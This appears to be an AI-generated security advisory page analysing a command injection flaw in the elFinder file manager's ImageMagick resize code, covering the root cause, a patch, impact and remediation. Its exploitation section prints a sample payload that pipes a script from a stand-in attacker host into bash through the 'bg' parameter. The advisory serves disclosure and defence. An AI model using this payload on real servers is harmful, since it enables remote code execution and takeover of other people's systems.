CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-8Q4H-8CRM-5CVC

GHSA-8q4h-8crm-5cvc: Remote Command Execution via Command Injection in elFinder ImageMagick CLI Integration

Amit Schendel
Amit Schendel
Senior Security Researcher

Apr 20, 2026·7 min read·17 visits

Executive Summary (TL;DR)

elFinder versions prior to 2.1.67 are vulnerable to unauthenticated remote code execution. The image resize functionality fails to sanitize the `bg` parameter, allowing attackers to inject shell commands into the ImageMagick CLI execution context.

A critical command injection vulnerability in the elFinder web file manager allows unauthenticated remote attackers to execute arbitrary system commands. This flaw occurs when elFinder is configured to use the ImageMagick CLI driver, due to improper sanitization of the background color parameter during image resize operations.

Vulnerability Overview

elFinder is a widely deployed open-source file manager for web applications, providing a user interface and a backend connector for file operations. The application supports various image processing engines to handle tasks such as resizing and cropping. Administrators can configure elFinder to use the ImageMagick command-line interface as the underlying processor when native PHP extensions are unavailable. This specific configuration exposes an attack surface within the image manipulation endpoints.

The vulnerability, tracked as GHSA-8q4h-8crm-5cvc, constitutes an Improper Neutralization of Special Elements used in a Command (CWE-77). It specifically manifests in the handling of the background color parameter during image resize or rotation operations. The application routes this parameter directly into system-level execution contexts without sanitization. This architectural decision creates a direct conduit between external HTTP requests and the underlying operating system shell.

Successful exploitation results in arbitrary command execution on the host server. The injected commands execute under the privilege context of the web server process handling the elFinder requests. This level of access permits complete compromise of the web application, exfiltration of sensitive configuration data, and establishes a foothold for further lateral movement within the network.

Root Cause Analysis

The fundamental flaw resides within the _imgResize method located in the elFinderVolumeDriver.class.php file. This method is responsible for applying transformations to images, such as adjusting dimensions or rotating the image by specific degrees. When a rotation or padding operation requires a background fill, the method accepts a user-controlled bg (background color) parameter to define the fill color.

In vulnerable versions of the application, the elFinderVolumeDriver constructs a system command string to invoke the ImageMagick utilities, specifically convert or mogrify. The application concatenates the bg parameter directly into this string arguments. The PHP script then passes the fully constructed string to native shell execution functions such as exec() or system().

The absence of input neutralization allows shell metacharacters to alter the execution logic of the resulting command. The application expects a string representing a color, such as white or #FFFFFF. However, an attacker can supply shell operators like semicolons, ampersands, or command substitution constructs. The underlying operating system shell interprets these metacharacters as instruction boundaries, executing the attacker's arbitrary commands alongside the intended ImageMagick invocation.

Code Analysis and Fix Completeness

The vulnerability manifests where the application prepares the command arguments for ImageMagick. The application takes the input parameter and directly embeds it into the shell command structure. This pattern demonstrates the danger of relying on string concatenation for command construction instead of using parameterized execution APIs.

// Vulnerable Code Pattern (Conceptual)
// The unsanitized $bg parameter is directly concatenated
$cmd = "convert input.jpg -rotate $degree -background $bg output.jpg";
exec($cmd);

The maintainers addressed this vulnerability in version 2.1.67 by implementing strict input validation on the $bg parameter. Rather than attempting to escape shell characters, which is prone to bypasses, the patch uses an allowlist approach. The application now enforces a strict regular expression against the input value before it can be used in the command construction.

// Patched Code Validation
// Input is validated against a strict regex before use
if (!preg_match('/^(#[0-9a-f]{3,6}|transparent)$/i', $bg)) {
    return false; // Reject the input
}

The fix is complete and highly effective for this specific parameter. The regex preg_match('/^(#[0-9a-f]{3,6}|transparent)$/i', $bg) ensures the background color can only consist of a valid hexadecimal color code or the exact string transparent. The use of the start ^ and end $ anchors is critical, as it prevents attackers from prepending or appending shell commands to an otherwise valid color code. This effectively closes the injection vector.

Exploitation Methodology

Exploitation requires the attacker to identify an elFinder instance configured to use the ImageMagick CLI driver. This configuration is standard in environments lacking the PHP imagick or gd extensions. The attacker initiates the attack by interacting with the elFinder UI or API to trigger an image transformation operation, such as rotating an uploaded image.

The attacker intercepts the HTTP request and modifies the bg parameter. The payload must begin with a syntactically valid shell separator to terminate the convert command arguments, followed by the arbitrary system command. A common injection pattern utilizes the semicolon character to chain commands sequentially.

A specific payload example takes the form of white; curl http://attacker.com/shell.sh | bash; #. When processed by the vulnerable application, the resulting shell string becomes convert input.jpg -rotate 90 -background white; curl http://attacker.com/shell.sh | bash; # output.jpg.

The operating system executes convert, immediately followed by the execution of the curl command. The trailing # acts as a comment character, neutralizing the remainder of the original command string and preventing syntax errors that might interrupt the shell execution. The payload successfully achieves arbitrary code execution without triggering application-level errors.

Impact Assessment

The vulnerability carries a critical severity rating, evidenced by a CVSS base score of 9.8. This score reflects the low attack complexity, the lack of required privileges, and the network-based attack vector. Any user capable of reaching the elFinder connector endpoint can exploit this flaw, provided the underlying ImageMagick CLI configuration is active.

Successful exploitation grants the attacker full command execution capabilities within the context of the web application. The attacker operates with the permissions of the web server service account, typically www-data or apache. This access permits the reading of sensitive configuration files, including database credentials and application secrets stored locally on the server.

The blast radius extends beyond data theft to include complete system compromise. Attackers can deploy persistent backdoors, install ransomware, or use the compromised web server as a staging point for attacks against the internal network. The severity is contingent entirely on the environment's reliance on the ImageMagick CLI; deployments utilizing PHP GD or the native PHP Imagick extension are not susceptible to this specific execution path.

Remediation and Mitigation Guidance

The primary remediation strategy requires upgrading the studio-42/elfinder package to version 2.1.67 or later. Administrators managing elFinder via Composer should update their dependency specifications and run the update command to pull the patched version. Verifying the installation involves confirming the regex validation exists within the elFinderVolumeDriver.class.php file.

If immediate patching is unfeasible, administrators must disable the ImageMagick CLI driver within the elFinder configuration. The application should be reconfigured to utilize the PHP GD extension or the PHP Imagick extension. These native extensions process images through shared libraries and APIs, entirely avoiding the generation of system shell commands and neutralizing the command injection vector.

At the network edge, security teams should implement Web Application Firewall (WAF) rules to inspect traffic destined for the elFinder connector endpoint. The WAF policy must enforce strict input validation on the bg query parameter, blocking requests that contain shell metacharacters such as semicolons, pipes, ampersands, or backticks. This defensive layer provides compensating controls while the underlying application is scheduled for patching.

Official Patches

Studio-42elFinder 2.1.67 Release Notes
Studio-42elFinder Security Advisory

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Affected Systems

Web applications utilizing the studio-42/elfinder package prior to version 2.1.67Systems specifically configured to process elFinder images via the ImageMagick Command Line Interface

Affected Versions Detail

Product
Affected Versions
Fixed Version
elFinder
Studio-42
< 2.1.672.1.67
AttributeDetail
Vulnerability ClassCommand Injection (CWE-77)
Attack VectorNetwork
CVSS v3.1 Score9.8 Critical
Authentication RequiredNone
Configuration RequirementImageMagick CLI Driver active
Exploit StatusProof of Concept available
ImpactRemote Code Execution (RCE)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Known Exploits & Detection

Vulnerability AnalysisProof of concept payload structure discussed in advisory

Vulnerability Timeline

Vulnerability published and advisory created
2026-04-17
Patched version 2.1.67 released by Studio-42
2026-04-17

References & Sources

  • [1]GitHub Security Advisory GHSA-8q4h-8crm-5cvc
  • [2]Studio-42 elFinder Repository Security Advisory
  • [3]elFinder 2.1.67 Release Notes
  • [4]OSV Packagist Ecosystem List
  • [5]GitLab Advisory Database

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 5 hours ago•CVE-2026-48861
2.1

CVE-2026-48861: HTTP Request Splitting and Smuggling via Method Parameter CRLF Injection in Elixir Mint

CVE-2026-48861 is a client-side HTTP request-line CRLF (Carriage Return Line Feed) injection vulnerability in the popular Elixir HTTP client library, Mint. The vulnerability permits HTTP Request Splitting and HTTP Request Smuggling when an application forwards untrusted, attacker-controlled inputs to Mint's HTTP client requests as either the HTTP request method or target. By embedding CRLF characters within these parameters, an attacker can terminate the request line prematurely, inject malicious headers, or pipeline entirely independent requests. These smuggled requests are then processed by upstream or downstream proxy servers as separate HTTP queries on the same TCP connection. While Mint version 1.7.0 introduced target validation to secure the request target, the HTTP request method parameter remained completely unvalidated. This flaw allows attackers to bypass routing filters, access restricted internal APIs, or poison HTTP caches under default configurations.

Amit Schendel
Amit Schendel
4 views•7 min read
•about 6 hours ago•CVE-2026-49753
6.3

CVE-2026-49753: HTTP Request/Response Smuggling via Inconsistent Content-Length Parsing in Elixir Mint Client

An Inconsistent Interpretation of HTTP Requests (HTTP Request/Response Smuggling) vulnerability in the Elixir Mint HTTP client allows attacker-controlled HTTP/1 servers to desynchronize response framing on shared connections due to over-lenient parsing of sign-prefixed Content-Length headers.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 6 hours ago•CVE-2026-49754
8.2

CVE-2026-49754: Denial of Service via Unbounded HTTP/2 CONTINUATION Frame Accumulation in Elixir Mint

An allocation of resources without limits or throttling vulnerability in Elixir Mint allows an attacker-controlled HTTP/2 server to exhaust memory in a Mint client. The vulnerability is exploited by sending a HEADERS frame without the END_HEADERS flag followed by an infinite stream of CONTINUATION frames. Because the client lacks limits on the incoming header-block accumulator, the client continuously consumes memory until an out-of-memory crash occurs.

Amit Schendel
Amit Schendel
7 views•6 min read
•about 7 hours ago•CVE-2026-48596
2.1

CVE-2026-48596: Improper Neutralization of CRLF Sequences in Elixir Tesla Multipart HTTP Client

CVE-2026-48596 is an Improper Neutralization of CRLF Sequences in HTTP Headers (HTTP Request/Response Splitting, CWE-113) in the Elixir Tesla HTTP client. The flaw resides in how multipart content-type parameters are joined and serialized, enabling attackers to inject arbitrary headers or split HTTP requests when applications pass untrusted inputs to the parameters of multipart uploads.

Alon Barad
Alon Barad
5 views•6 min read
•about 7 hours ago•CVE-2026-48594
8.2

CVE-2026-48594: Decompression Bomb Denial of Service in Elixir Tesla HTTP Client

An improper handling of highly compressed data (decompression bomb) vulnerability exists in the Elixir Tesla HTTP client when utilizing response decompression middlewares. By serving highly compressed responses or stacked content-encoding headers, a malicious server can cause arbitrary heap exhaustion, leading to a denial of service (DoS) crash in the BEAM virtual machine.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 8 hours ago•CVE-2026-48595
8.2

CVE-2026-48595: Cross-Origin Credential Leakage in Elixir Tesla Client via Case-Sensitive Redirect Filter Bypass

A high-severity security vulnerability in Elixir's Tesla HTTP client library (CVE-2026-48595) allows unauthenticated remote attackers to harvest sensitive credentials, including Authorization headers and cookies. The flaw resides in the 'Tesla.Middleware.FollowRedirects' component, which performs case-sensitive lookups when stripping credentials during cross-origin redirects. Because HTTP headers are case-insensitive by RFC specifications, standard canonical casing (e.g., 'Authorization') bypasses the lowercase-only blocklist, leaking tokens to untrusted external redirect destinations.

Alon Barad
Alon Barad
6 views•5 min read